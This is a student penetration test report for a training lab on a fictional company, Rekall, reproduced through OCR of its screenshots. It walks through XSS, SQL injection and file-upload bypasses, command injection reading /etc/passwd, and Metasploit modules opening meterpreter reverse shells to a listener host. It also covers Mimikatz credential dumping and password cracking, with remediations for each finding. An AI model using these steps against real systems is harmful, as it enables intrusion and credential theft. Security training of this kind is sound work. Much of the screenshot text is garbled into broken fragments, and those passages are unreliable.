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Confidentiality Statement

This document contains confidential and privileged information from Rekall Inc. (henceforth known
as Rekall). The information contained in this document is confidential and may constitute inside or
non-public information under international, federal, or state laws. Unauthorized forwarding, printing,
copying, distribution, or use of such information is strictly prohibited and may be unlawful. If you are
not the intended recipient, be aware that any disclosure, copying, or distribution of this document or
its parts is prohibited.
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Introduction

In accordance with Rekall policies, our organization conducts external and internal penetration tests
of its networks and systems throughout the year. The purpose of this engagement was to assess the
networks’ and systems’ security and identify potential security flaws by utilizing industry-accepted
testing methodology and best practices.

For the testing, we focused on the following:

e Attempting to determine what system-level vulnerabilities could be discovered and exploited
with no prior knowledge of the environment or notification to administrators.

e Attempting to exploit vulnerabilities found and access confidential information that may be
stored on systems.

e Documenting and reporting on all findings.

All tests took into consideration the actual business processes implemented by the systems and
their potential threats; therefore, the results of this assessment reflect a realistic picture of the actual
exposure levels to online hackers. This document contains the results of that assessment.

Assessment Objective

The primary goal of this assessment was to provide an analysis of security flaws present in Rekall’s
web applications, networks, and systems. This assessment was conducted to identify exploitable
vulnerabilities and provide actionable recommendations on how to remediate the vulnerabilities to
provide a greater level of security for the environment.

We used our proven vulnerability testing methodology to assess all relevant web applications,
networks, and systems in scope.

Rekall has outlined the following objectives:

Objective

Find and exfiltrate any sensitive information within the domain.

Escalate privileges.

Compromise several machines.
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Penetration Testing Methodology
Reconnaissance

We begin assessments by checking for any passive (open source) data that may assist the
assessors with their tasks. If internal, the assessment team will perform active recon using tools
such as Nmap.

Identification of Vulnerabilities and Services

We use custom, private, and public tools such as Metasploit, hashcat, and Nmap to gain perspective
of the network security from a hacker’s point of view. These methods provide Rekall with an
understanding of the risks that threaten its information, and also the strengths and weaknesses of
the current controls protecting those systems. The results were achieved by mapping the network
architecture, identifying hosts and services, enumerating network and system-level vulnerabilities,
attempting to discover unexpected hosts within the environment, and eliminating false positives that
might have arisen from scanning.

Vulnerability Exploitation
Our normal process is to both manually test each identified vulnerability and use automated tools to

exploit these issues. Exploitation of a vulnerability is defined as any action we perform that gives us
unauthorized access to the system or the sensitive data.

Reporting

Once exploitation is completed and the assessors have completed their objectives, or have done
everything possible within the allotted time, the assessment team writes the report, which is the final
deliverable to the customer.

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 6
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Scope

Prior to any assessment activities, Rekall and the assessment team will identify targeted systems
with a defined range or list of network IP addresses. The assessment team will work directly with the
Rekall POC to determine which network ranges are in-scope for the scheduled assessment.

It is Rekall’s responsibility to ensure that IP addresses identified as in-scope are actually controlled

by Rekall and are hosted in Rekall-owned facilities (i.e., are not hosted by an external organization).
In-scope and excluded IP addresses and ranges are listed below.
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Executive Summary of Findings

Grading Methodology

Each finding was classified according to its severity, reflecting the risk each such vulnerability may
pose to the business processes implemented by the application, based on the following criteria:

Critical: Immediate threat to key business processes.

High: Indirect threat to key business processes/threat to secondary business processes.
Medium: Indirect or partial threat to business processes.

Low: No direct threat exists; vulnerability may be leveraged with other vulnerabilities.

No threat; however, it is data that may be used in a future attack.

As the following grid shows, each threat is assessed in terms of both its potential impact on the
business and the likelihood of exploitation:

Critical

High

Exploitation Likelihood

Medium

Low

Informational

Informational Low Medium High Critical
Potential Impact
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Summary of Strengths

While the assessment team was successful in finding several vulnerabilities, the team also
recognized several strengths within Rekall’s environment. These positives highlight the effective
countermeasures and defenses that successfully prevented, detected, or denied an attack technique
or tactic from occurring.

e Rekall was proactive in seeking out help to mitigate the effects of its network
e Rekall executives were responsive to the penetration testing team’s suggestions

Summary of Weaknesses

We successfully found multiple critical vulnerabilities that should be immediately addressed in order
to prevent an adversary from compromising the network. Other less critical vulnerabilities also need
addressing. These findings are not specific to a software version but are more general and systemic
vulnerabilities.

e Significant security issues were found with regard to Rekall's web page, as well as its Linux
and Windows operated systems.

e Web page weaknesses
= Interactive webpage susceptible to Cross Site Scripting (XSS)
= Open source data exposed potentially sensitive information
= Potentially harmful files uploadable via local file inclusion
= User credentials exposed via SQL injection
= Administrative credentials within visible HTML coding
= Server information obtained through command injection
=  Weak passwords for administrative users

e Linux OS weaknesses
= Potentially sensitive data exposed via open source intelligence
e Personal data, public facing ip address, security certificates
= Potentially sensitive data exposed via open source information
= Open ports used outdated software versions that were able to be exploited to
gain access to Rekall network
=  Weak passwords
= Able to escalate to root level privileges once user privileges were obtained

e Windows OS weaknesses

= Open source intelligence exposed user credentials

=  Weak passwords

= Gained initial access to the network through an open port running a
vulnerable version of File Transfer Protocol (FTP)

= Gained initial access to the network through an open port running a
vulnerable version of an email protocol (POP3)

= Kept access post exploitation via Active Directory

= Raised privilege level using Mimikatz tools

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 9
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Executive Summary

Rekall Inc. has significant security concerns throughout its network. Freely available data online
provided enough information to get access into Rekall resources. Weak security controls on the
company webpage enabled multiple modes of attack. Once the network was breached the
penetration testers were able to expose more sensitive information and gain even greater access
into the network.
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Summary Vulnerability Overview

| Vulnerability

Cross Site Scripting (XSS)

Open Source Reconnaissance (web server information, personal low -
information, certificate authority) medium

Local File Inclusion

Weak Passwords

Command Injection

Port Scanning (open ports) medium
Reconnaissance (vulnerability scanning) critical
Initial Access (via reverse shell)

Privilege Escalation (via open source reconnaissance)

Open Source Intelligence (user credentials)

Initial Access (via user credentials)

Initial Access (via FTP)
Initial Access (via POP3)

Persistence (valid accounts)

Lateral Movement (valid accounts)

Post Exploitation (persistence)

The following summary tables represent an overview of the assessment findings for this penetration

test:

Hosts 192.168.14.35

Ports 80

Hosts 192.168.13.13

Ports 80

Hosts 192.168.13.12
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Ports 80, 8080

Hosts 192.168.13.14

Ports 8080, 22

Hosts 192.168.13.10

Ports 80

Hosts 172.22.117.20

Ports 80, 21, 110, 4444

Hosts 172.22.117.10

Ports 445

| Exploitation Risk

Critical 1
10

3

Medium 1
Low - Medium 4
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Vulnerability Findings

Vulnerability 1 Findings

Title Cross Site Scripting (XSS)

Type Web Application

Risk Rating Medium

Description XSS was effectively used in multiple ports within Rekall Corporations webpage

Image 1
i REKALL CORPORAT

A simple HTML
script was
placed into an Welcome to VR Planning @ oo
input field : :
enabling o
exposure of
hidden data S

. . eicome !
Wlthln the Click the link below to start the next step
‘Welcome_ph p’ in your choosing your VR experience!

i , CONGRATS, FLAG 1 is I

subdomain f76sdfkg6sif
Image 2

REKALL CORPORATION

Modified HTML
script was able
to bypass Rekall
Corporation’s

ianIt Validation Secret Agent I&}ve‘S‘tar Chef

and expose

private data Who do you want __ _
within the

‘Memory-Planner
.php’ subdomain
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Image 3

A simple HTML
script was
placed into an
input field on the
Rekall

REKALL CORPORATION

Please leave your
comments on our website!

Corporations

a subdomain . CONGRATS, FLAG 3 is sd7fk1nctx

enabling ‘—
exposure of

hidden data L Je e v

within the . -
‘comments.php’

subdomain

Affected Hosts | 192.168.14.35 (multiple sub domains)

Remediation Implement input validation
Vulnerability 2 Findings
Title Sensitive Data Exposure - Open Source Reconnaissance
Type Web Application

Risk Rating Low

Description curl tool exposed information regarding the web server

Image

Potentially
sensitive
information
exposed via curl

Affected Hosts | 192.168.14.35

Inspect curl output periodically to make sure no potential vulnerabilities are

Remediation
exposed
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Vulnerability 3 Findings

Title Local File Inclusion

Type Web Application

Risk Rating High

Description able to upload a potentially harmful .php file into subdomain

REKALL CORPORATION

Image 1

Race in the Grand Prix

Insertion of a
.php file
extension, no
input validation

Upload Your File!

REKALL CORPORATION

Image 2

Successful
insertion

ts flag § is mmssdi7ag
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Falion ML REFVM 197105

REKALL CORPORATION
Image 3
Insertion of file
with .jpg.php
extension,

bypassing basic
input validation

REKALL CORPORATION

Image 4

Successful
insertion

Affected Hosts | 192.168.14.35

Remediation implement more advanced input validation

Vulnerability 4 Findings

Title SQL Injection

Type Web Application

Risk Rating

Description SQL injection used to access user account
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User Login
Please login with your user credentials!

Login:

Image

SQL injection
used for
successful login

Password: Password entered - log' 1=1- |

Congrats, flag 7 is bcs92sjsk233

Affected Hosts | 192.168.14.35

Remediation Implement more advanced input validation. Have whitelists for account access.

Vulnerability 5 Findings

Title Sensitive Data Exposure

Type Web Application

Risk Rating High

Exposed login credentials allowed administrative access, exposed subdomain

Description , e .
P contained sensitive information
REKALL CORPORATION
Image 1

Highlighted web
page r.evealls Enter your Administrator credentials!
admlnls.tratlve
credentials

Login

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 17
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REKALL CORPORATION

ENTer your Aaministrator creaentials!

Image 2 Login:

Successful login Password:

Login

c @
Image 3 - Exploit-DB @ N
User-agent: GoodBot
‘robots.txt’ file Disallow:
found online User-agent: BadBot
Disallow: /
exposes
sensitive data User-agent: *

Disallow: /admin/
Disallow: /documents/
D@sallnw: /images/

IDisallnw: flag9:dkkdudfkdy23 I

Affected Hosts | 192.168.14.35

Remediation Cleanse html code of any credentials, remove ‘robots.txt’ from the web

Vulnerability 6 Findings

Title Command Injection

Type Web Application

Risk Rating Low

Description Command Injection exposed potentially sensitive information

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 18



Rekall Corp Penetration Test Report

< c @

Exploit-DB @ Nessus

REKALL CORPORATION

Networking T0ols

Image 1 et e
DNS Check

Injection into
DNS Check field

Clingrats, flag 10 is ksdnd99dkas

MX Record Checker

ur MX |

REKALL CORPORATION

Image 2 Welcome to Rekall Admin
Networking Tools
Command
Injection into MX
Record Checker

Affected Hosts | 192.168.14.35

Remediation Improve input validation

Vulnerability 7 Findings

Title Brute Force Attack

Type Web Application

Risk Rating Medium to High

Description Weak administrative password enabled access to internal site

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 19
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REKALL CORPORATION

Image1 IVIA RECUIU UIIECKEI

Command
injection using ‘Is
/etc/passwd’
exposed users

|mage 2 REKALL CORPORATION
User credentials ENTEr your AGMINISTrator creaentials!
easily guessed: Login:
melina
Username: Password:
melina \
Password:
melina

Affected Hosts | 192.168.14.35

Implement complex password requirements (i.e. a minimum of 8 characters, 1

Remediation uppercase, 1 lowercase, 1 number and 1 symbol)

Vulnerability 8 Findings
Title Open Source Reconnaissance
Type Linux OS

Risk Rating Low

Description Freely available information online has the potential to create security risks
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Image 1

Address of
personal user

CLentral Ops .net

Image 2

Public IP
address

Address lookup

ical name totalrekall.xyz.

Domain Whois record

Image 3

Certificate
Issuer

Irekallxyz

Cortificates

Affected Hosts

totalrekall.xyz domain

Monitor open source information to make sure no information can be found to

Remediation allow hackers a foothold into the domain
Vulnerability 9 Findings
Title Reconnaissance - Port Scanning
Type Linux OS

Risk Rating

Description

Port scanning using nmap identified open ports
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j@ gterminal ~ a . Kali on ML-REFVM-1
Zenmap

n Tools Profile Help
Target: i 4 b Profile: Quickscan

Command: nmap-T4 -F192.168.13.0/24

Hosts Services Nmap Output  Ports /Hosts Topology
0S  Host nmap-T4 -F192. 4 Details
192.168.13.1 [8080/tcp open http-proxy|
WY GLIET N 02:42:C0:A8:8D:0C (Unknown)
192.168.13.10
3 Nmap scan report for
Image 1 i ) Host is up (0.000010s latency).
99 closed tcp ports (reset)
PORT STATE SERVICE]
T 192168.13.14
. 80/tcp open http|
Windows open ITYWPLTTININ 02:42:C0:A8:0D:0D (Unknown)
pOI"tS Nmap scan report for

Host is up (0.0000090s latency).
99 closed tcp ports (reset)
PORT STATE SERVICE]
22/tcp open ssh|
WYL IR 02:42:C0:A8:0D:0E (Unknown)

Nmap scan report for
Host is up (@ 015s latency).
(PYEFTreLH 97 closed tcp ports (reset)
IPORT STATE SERVICE]

6001/tcp open

Nmap done : ST ESCEET s (5 hosts up) scanned in 19.44 s
Filter Hosts

Scan Tools Profile Help

Target: 192.168:
Command:
Hosts Service Nmap Output  Ports [Hosts Topology HostDetails Scans
0s Host
& 192168131 Starting Nmap 7.92 ( (RCEHIALELNIL ) at
P Nmap scan report for ETRPULIPEPPE
4. 192.168.13.10 ( latency)
4 192.768.13.12
4 1921681313 Apache httpd 5 ((Debian))
|mage 2 B = swtoma_ | Drupal CVE-2019-6340
4. 192.168.13.14 £ - a [IRITVER R IR £ tps : / /www.drupal.org )
| DR <2 uballnwed entries (15
| /core; /profiles; /NENIENSS /NIRRT /admm/
. | /comment/reply/ /fllte’r/tlp\ /1 add/ /\snr(h/ J/user/register/
Llnux Open port | /user/password/ /user/login/ fuser/logout/ /[HTEREEaNs/admin/
| /Y / comment/reply/
1 - der: Apache/2.4.25 (Debian)
runnlng Drupal . C0:A8:0D:0D (Unknown)

BRI L1192 .168.13. 13

0S and Service detection performed. Please report any inco ct results at [JAOERPPLILEIRNE/ submit/ .
1 IP address (1 up) scanned in 19.22 se

Affected Hosts | 192.168.13.1, 192.168.13.10, 192.168.13.11, 192.168.13.12, 192.168.13.13

Remediation Close open ports when not in use. Consider using a firewall.

Vulnerability 10 Findings

Title Reconnaissance - Vulnerability Scanning

Type Linux OS

Risk Rating Critical

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 22
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Description Nessus scan revealed a critical vulnerability

Image

Nessus scan
showing a critical
vulnerability

CVSS 10
ID 97610

Apache Struts -
Jakarta Multipart
Parser RCE

Affected Hosts | 192.168.13.12

Remediation Upgrade to Apache Struts version 2.3.32 / 2.5.10.1 or later

Vulnerability 11 Findings

Title Initial Access through Metasploit and Meterpreter

Type Linux OS

Risk Rating High to Critical

A reverse shell was created using Metasploit and Meterpreter that gained

Description |, cess into Rekall's network

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 23
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Image 1

Module
exploit(multi/http/
tomcat_jsp_uplo
ad_bypass) was
able to create a
shell within

Exploit target:

Id N

] Automat

msf6 exploit(

on ML-REFVM-197105

root@kalis ~

ork/wiki/Usin

may be specified)

Sensitive data
found upon
entering the
network

Host:
192.168.13.10

TotalRekall's e
network
ession 1 opened (192. .168.13. 6 a 2 4 -0400
HOSt gmar\- "pythen’ on the t machine
192.168.13.10
Image 2

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 24
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Image 3

Metasploit
module
(multi/http/struts

ogal)
able to access
Rekall network

Host:
192.168.13.12

(Vulnerability 9
above told us
this was
vulnerable to
struts attack)

2_content_type_

set lhost 19

> options

Module options (exploit/multi/http/stru

Required

rg
tiate SSL/TLS f
th to struts

/meterprete
Required

The listen address (an int
ten port

Module options (exploit/multi/http/struts:

Name Current Setting Required

Image 4

Access to
sensitive data

Host:
192.168.13.12

on with

Image 5

File from Image
4 opened to
reveal sensitive
data

Host:
192.168.13.12

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.
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Image 6

Metasploit
module
(unix/webapp/dr
upal_restws_uns
erializel)

able to access
Rekall network

Host:
192.168.13.13

Affected Hosts

192.168.13.10, 192.168.13.12, 192.168.13.13

Remediation

Create outbound firewall rules to detect potential signals coming from reverse
shells. Train employees to avoid phishing attacks that would allow for the
creation of a reverse shell.

Vulnerability 12 Findings

Title

Privilege Escalation

Type

Linux

Risk Rating

obtained through
open source
intelligence

Description Able to escalate to a root account
< eﬁ 7 m”u R} neoe =
Central Ops .net s sevce o zHEXHHlIEN
Image1
Username

de: 30309

7702229999

ry: us
1. 7702229999
et

JOHAINCONTROL . COM
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Image 2

1) SSH access
with password
‘alice’

2) Privilege
escalation via
CVE-2019-1428
7

3) Sensitive data
exposed

#» sudo - Security By... Cgy gterminal

File Actions Edit View Help

umentation:
* Management:

https
https:
https
has been minimized b

es and content that are

t distribution terms for
ual files in /usr/share/doc/*/copyright.
Ubuntu c s with ABSOLUTELY NO WARRANTY, to the
applicab law.

rams included with the Ubuntu sy
t distribution t + ch pr
idual files in fusr/shar

software;
ibed in the

I68.13.F
No such file

# cd /root
root# s

Affected Hosts

192.168.13.14

Remediation

Upgrade sudo to a version after 1.8.28. Enforce password complexity.

Vulnerability 13

Findings

Title

Reconnaissance - User Credentials

Type

Windows

Risk Rating

Description

User credentials and hashed password found using open source intelligence

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 27
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Image 1

Credentials
found on
totallrekall
GitHub page

2 Nowtations || ¥ Foik 2 || fr st 0

A totalrekall / site ' public

©Code @ lsues 1 Pullrsquests 1 © Adions [ Projects

Image 2

John the Ripper
successfully
cracks password
hash

e "mdScrypt”, but the string is also recognized as "md5Scrypt-long”
g" option to force loading these as that type instead
UTF-8&
crypt, crypt(

$1% (and variants) [MD5 256/256 AVX2 8x3])

emaining buffe
r/share/john/pass

c/s B435C/s 123456 .. hammer
rds reliably

Affected Hosts

172.22.117.20

Remediation

Remove user credentials from GitHub

Vulnerability 14

Findings

Title

Initial Access - User Credentials

Type

Windows OS

Risk Rating

Description

Access into Rekall Windows machine achieved through user credentials

Image 1
Credentials

usenamer:
trivera

password:
Tanyadlife

Authentication Required - Mozilla Firefox
our username and password. The site sa) estricted Content”

is requesting y

trivera

Cancel

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.
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Image 2

Successful 4d7b349705784a518bc876bc2ed6ddtE
access

Affected Hosts | 172.22.117.20

Remediation Remove credentials from the web

Vulnerability 15 Findings

Title Initial Access - FTP

Type Windows OS

Risk Rating

Description FTP access gained through an anonymous account

Lo qterminal h ¥ - Kali'an ME-REFVM-197105
Zenmap

Scan Tools Profi
Target: 172.22 4 “  Profile: |ntense scan

Command:  nmap -T4 -A -v --script ftp-vsftpd-backdoor 172.22.117.0/24

Hosts Services Nmap Output Ports/Hosts  Topology HostDetails Scans
Image 1 : .
Port Protocol State Service Version
§ tp open ftp FileZilla ftpd 0.9.41 beta
FTP open W|th % tcp open smip SLmail smipd 5.5.0.4433
. — tcp open finger SLMail fingerd
xploi le FTP 4 17222117100 - 7
e p O tab e open a 2 (OpenSSL/1.1.1m PHP/8.1.2)
version tcp open SLMail pop3pw

jd1] open BVRP Sof MAIL pop3d

tep open msrpc Microsoft Win
tcp open netbios-ssn  Microsoft Win
open http Apache httpd 2.4.

tcp open microsoft-ds

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved. 29
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Image 2

1. FTP access

2. Anonymous
credentials

entered

3. Access
granted

4. Sensitive data
exposed

T =L T=

File Actions Edit View Help

ystem type is UNIX.
command successful
ning data channel for dire
sp=pr— 1 Ftp fip
6 Transfer OK

channel for file transfer.

ed in 8.08 secs (35.1519 kB/s)

Essentials [ Logi...

g gterminal

Affected Hosts

172.22.117.20

Remediation

Disable anonymous access for FTP port 21

Vulnerability 16 Findings

Title

Initial Access - POP3

Type

Windows OS

Risk Rating

Description

Reverse shell used to gain access via Port 110

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.
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om= El # Firefox Eg gterminal i Kali on ML-REFVM-197105

o Zenmap

Scan Tools Profile Help
Target: 172.22.117.0/24 Profile:  Intense scan

Command:  nmap -T4 -A -v —-script ftp-vsftpd-backdoor 172.22.117.0/24

Hosts Services NmapOutput _Ports /Hosts  Topology Host Details Scans

Protocol State Service Version
Host

Image 1 T A v tcp open  ftp FileZilla ftpd 0.9.41 beta

Windows10 (172.22.117.20) tep open smip. Slmail smtpd 5.5.0.4433

172.22.117.100
Vulnerable port tcp open  http Apache httpd 2.4.52 (OpenSSL/1.1.1m PHP/8.1.2)
tep open pop3pw SLMail pop3pw
tep open pop3 BVRP Software SLMAIL pop3d
tep open msrpc Microsoft Windaws RPC

tcp open  finger SLMail fingerd

tep open netbios-ssn  Microsoft Windows netbios-ssn
tcp open  http Apache httpd2.4.52 (OpenSSL/1.1.1m PHP/8.1.2)

tcp open microsoft-ds

BemO= El #}, Firefox Cg qterminal Kalf on ML-REFVM-197105
2 root@kali: ~

File Actions Edit View Help

msf6 exploit( )} > options
Module options (exploit/windows/pop3/seattlelab_pass):

Name Current Setting Required Description

RHOSTS 172.22.117.20 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Image 2 RPORT 110 yes The target port (TCP)

Payload options (windows/meterpreter/reverse tcp):

SuCCeSSfuI Name Current Setting Required Description

Meter reter EXITFUNC thread yes Exit technigue (Accepted: '', seh, thread, process, none)
p LHOST 172.22.117.100 yes The listen address (an interface may be specified)
LPORT 4h44 yes The listen port

session created
Via module Exploit target:

Id Name

‘windows/pop3/s =
; ] Windows NT/2000/XP/2003 (SLMail 5.5)
eattlelab_pass

msf6 exploit( } > run -j
Exploit running as background job 1.
Exploit completed, but no session was created.

Started reverse TCP handler on 172.22.117.100:4444
172.22.117.20:110 - Trying Windows NT/2000/XP/2003 (SLMail 5.5) using jmp esp at 5f4a35af
msfé exploit( ) > Sending stage (175174 bytes) to 172.22.117.20
Meterpreter session 2 opened (172.22.117.100:4444 — 172.22.117.20:59503 ) at 2022-08-04 13:49:48 -0400

Hemd= E ¥ Firefox Cg qterminal S Kali on ML-REFYM- 197105

root@kali: ~

File Actions Edit View Help

msf6 exploit( ) > sessions

Active sessions

Type Information Connection

meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN1@ 172.22.117.100:44446 — 172.22.117.20:59491 (172.22.117.20)
meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN1@ 172.22.117.1@@:4444 — 172.22.117.20:59503 (172.22.117.20)

msf6 exploit( ) > sessions -i 2
Starting interaction with 2...

\Program Files (x86)\SLmail\System

Image 3

Size Type Last modified Name

i-Tw- 32 fil  2022-93-21 11:59: flagh.txt
Initial Access 3358 il  2002-11-19 13:40: listrerd. txt
. 1840 fil  2022-03-17 11:22: maillog.000
|nto Reka" 3793 fil  2022-03-21 11: maillog.001
4371 fil  2022-04-85 12:49: maillog.002

network 1940 fil = 2022-04-07 10:06: maillog. 003
1991  fil  2022-04-12 20:36: maillog. 004

2216 il  2022-84-16 20:47: maillog.00s5

2831 fil 2022-06-22 23: H maillog.006

1991  fil = 2022-06-27 22:34: maillog.007

3664 fil  2022-07-26 23:16: maillog.008

1991 fil 2022-07-28 19: H maillog.009

5712 fil  2022-87-3@ 12:30: maillog.00a

11933 fil  2022-87-31 13:36: maillog.@0b

4090 fil 2022-08-01 20: H maillog.0ac

2315  fil  20822-88-82 13:48: maillog.@0d

6986 fil 2022-08-03 13:11: maillog.00e

2366 fil 2022-08-04 11: H maillog.00f

100666 /rw-rw-rw- 8639 fil  2022-08-04 13:49: maillog. txt

meterpreter > cat flags.txt
822e3434a10440ad9cc086197819b49d

e TETHTETET > Cat T (agd. CAT
822e3434210440ad9cc086197819b49dmeterpreter > |
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Affected Hosts | 172.22.117.20

Remediation Update to a more secure version of POP3 protocol

Vulnerability 17 Findings

Title Post Exploitation - Scheduled Tasks

Type Windows OS

Risk Rating Medium

Able to maintain access through accessing scheduled tasks within the

Description !
P Windows server

Image

Within the
meterpreter
session from
Vulnerability 15
above - ability to
gain access to
scheduled tasks

Affected Hosts | 172.22.117.20

Limit usage of automated tasks to administrative users. Trigger alerts for any
Remediation changes to automated tasks. See attack.mitre.org/techniques/T1053/005/ for
more details.

Vulnerability 18 Findings

Title Persistence - User Enumeration (Valid Accounts)
Type Windows OS
Risk Rating
Description Able to crack a password using Mimikatz inside a Meterpreter session
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Information

NT AUTHORITY

Image 1 cterpreter x86/uindows NT AUTHORT

1. Mimikatz
loaded within
Meterpreter
session

2. Search for
credentials

m -
ntlm- @:

Image 2

User credentials
found

Image 3
Add|t|0na| D-.Jml h
dumped

credentials for
User ADMBob
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Image 4

User ADMBob
password
cracked using
John the Ripper

Password -
Changeme!

Image 5

Reverse shell
created using
credentials from
Image 4

) > options
pl ndows /smb/|
ing
J117.10 see https thub. iki/ tasploit
3 )

IPTION
_NAME

Image 6

Successful
access into
Admin account

ssion Id.
ng this from the MSF she sions -i <session id>

ommand compl

Windows)

Affected Hosts

172.22.117.10

Remediation

Enforce password complexity. Use a stronger hashing algorithm.
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Vulnerability 19 Findings

Title Lateral Movement

Type Windows OS

Risk Rating

Description Able to move through system account to get to root directory

User accounts for %\

ADMBob Administrator f 2fc2ffcles?
Guest ]

iindowshsystem

Image

Access to root
directory through

ADMBob Volume i rive C has n
account (refers Volume rial Number is
to Vulnerability Directory of c:\

17)

o
B

| e o O o B

oo
o]

e7bf5374ffobchf872

Affected Hosts | 172.22.117.20

Prevent initial access to Windows machines. Limit users who are given root
access.

Remediation

Vulnerability 20 Findings

Title Post Exploitation - Lateral Movement

Type Windows OS

Risk Rating

Description Mimikatz used to obtain administrator’s New Technology LAN (NTLM) hash
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Image 1

dcsyn_ntim
administrator : -
command able | & : nwill only work if this computer account has replication privileges (e.g. Domain Controller)
to get admin b Sk Hhe s
hash

Affected Hosts | 172.22.117.20

See vulnerability 19 above. Prevent initial access to Windows machines. Limit

Remediation .
users who are given root access.
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